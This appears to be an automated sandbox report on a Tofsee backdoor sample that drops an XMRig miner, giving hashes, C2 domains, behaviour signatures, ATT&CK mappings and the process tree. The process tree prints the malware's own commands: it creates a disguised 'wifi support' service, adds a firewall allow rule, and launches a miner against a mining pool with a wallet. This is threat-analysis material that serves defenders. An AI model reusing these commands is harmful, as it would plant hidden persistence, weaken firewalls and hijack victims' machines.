Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    19-06-2022 00:18

General

  • Target

    cb95d177b068bdde50cc063e655f75f4f60b275d04148c60d1461a88ad0f445a.exe

  • Size

    309KB

  • MD5

    95f72025ca3e31ca6471da50e4955c56

  • SHA1

    8ae5e91e7c0673d43edd1c25c6e25b0a2fe01118

  • SHA256

    cb95d177b068bdde50cc063e655f75f4f60b275d04148c60d1461a88ad0f445a

  • SHA512

    fa23df4679a03d1a092120983cda78ba60614d350300c35a10cd7e137aa5abe7832b3f6a096baddb27707a71252fef01022e41b2aac8bec4db62c9ac403a9c91

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cb95d177b068bdde50cc063e655f75f4f60b275d04148c60d1461a88ad0f445a.exe
    "C:\Users\Admin\AppData\Local\Temp\cb95d177b068bdde50cc063e655f75f4f60b275d04148c60d1461a88ad0f445a.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kbeqveti\
      2⤵
        PID:1568
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sqomqumn.exe" C:\Windows\SysWOW64\kbeqveti\
        2⤵
          PID:2824
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kbeqveti binPath= "C:\Windows\SysWOW64\kbeqveti\sqomqumn.exe /d\"C:\Users\Admin\AppData\Local\Temp\cb95d177b068bdde50cc063e655f75f4f60b275d04148c60d1461a88ad0f445a.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kbeqveti "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:228
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kbeqveti
          2⤵
          • Launches sc.exe
          PID:3648
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2776
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 1164
          2⤵
          • Program crash
          PID:2428
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 636 -ip 636
        1⤵
          PID:2352
        • C:\Windows\SysWOW64\kbeqveti\sqomqumn.exe
          C:\Windows\SysWOW64\kbeqveti\sqomqumn.exe /d"C:\Users\Admin\AppData\Local\Temp\cb95d177b068bdde50cc063e655f75f4f60b275d04148c60d1461a88ad0f445a.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4348
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:5000
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4128
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4348 -s 516
            2⤵
            • Program crash
            PID:2324
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4348 -ip 4348
          1⤵
            PID:2672

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\sqomqumn.exe
            Filesize

            14.8MB

            MD5

            3a963604956308a5e26a3e17efa89b08

            SHA1

            1a52531975416dbda79716364e26ee64b1c00bf6

            SHA256

            cfe42e6d853ddb0f0f942e7140f3feb98913382c252fe1880b0433d53751c3d8

            SHA512

            44d10e3efac7c72820d1cae52662c574cde195d74697754db5bbfabe54300494c804efd956ee95ba6e23faf0a84daf4db9c9520e2918e3eb28a04f89aebee759

          • C:\Windows\SysWOW64\kbeqveti\sqomqumn.exe
            Filesize

            14.8MB

            MD5

            3a963604956308a5e26a3e17efa89b08

            SHA1

            1a52531975416dbda79716364e26ee64b1c00bf6

            SHA256

            cfe42e6d853ddb0f0f942e7140f3feb98913382c252fe1880b0433d53751c3d8

            SHA512

            44d10e3efac7c72820d1cae52662c574cde195d74697754db5bbfabe54300494c804efd956ee95ba6e23faf0a84daf4db9c9520e2918e3eb28a04f89aebee759

          • memory/228-137-0x0000000000000000-mapping.dmp
          • memory/636-143-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/636-131-0x0000000002F00000-0x0000000002F13000-memory.dmp
            Filesize

            76KB

          • memory/636-134-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/636-130-0x0000000002FAE000-0x0000000002FBC000-memory.dmp
            Filesize

            56KB

          • memory/636-142-0x0000000002F00000-0x0000000002F13000-memory.dmp
            Filesize

            76KB

          • memory/636-141-0x0000000002FAE000-0x0000000002FBC000-memory.dmp
            Filesize

            56KB

          • memory/1568-132-0x0000000000000000-mapping.dmp
          • memory/2776-139-0x0000000000000000-mapping.dmp
          • memory/2824-133-0x0000000000000000-mapping.dmp
          • memory/3648-138-0x0000000000000000-mapping.dmp
          • memory/3696-136-0x0000000000000000-mapping.dmp
          • memory/4128-170-0x0000000000000000-mapping.dmp
          • memory/4128-176-0x0000000000460000-0x0000000000551000-memory.dmp
            Filesize

            964KB

          • memory/4128-172-0x0000000000460000-0x0000000000551000-memory.dmp
            Filesize

            964KB

          • memory/4128-171-0x0000000000461000-0x0000000000532000-memory.dmp
            Filesize

            836KB

          • memory/4348-148-0x0000000002F3A000-0x0000000002F48000-memory.dmp
            Filesize

            56KB

          • memory/4348-155-0x0000000000400000-0x0000000002C6C000-memory.dmp
            Filesize

            40.4MB

          • memory/5000-153-0x0000000003510000-0x0000000003516000-memory.dmp
            Filesize

            24KB

          • memory/5000-156-0x0000000001290000-0x00000000012A5000-memory.dmp
            Filesize

            84KB

          • memory/5000-158-0x0000000003520000-0x0000000003530000-memory.dmp
            Filesize

            64KB

          • memory/5000-161-0x00000000035F0000-0x00000000035F5000-memory.dmp
            Filesize

            20KB

          • memory/5000-164-0x0000000008200000-0x000000000860B000-memory.dmp
            Filesize

            4.0MB

          • memory/5000-167-0x0000000008750000-0x0000000008757000-memory.dmp
            Filesize

            28KB

          • memory/5000-150-0x0000000003200000-0x000000000340F000-memory.dmp
            Filesize

            2.1MB

          • memory/5000-149-0x0000000001290000-0x00000000012A5000-memory.dmp
            Filesize

            84KB

          • memory/5000-145-0x0000000001290000-0x00000000012A5000-memory.dmp
            Filesize

            84KB

          • memory/5000-144-0x0000000000000000-mapping.dmp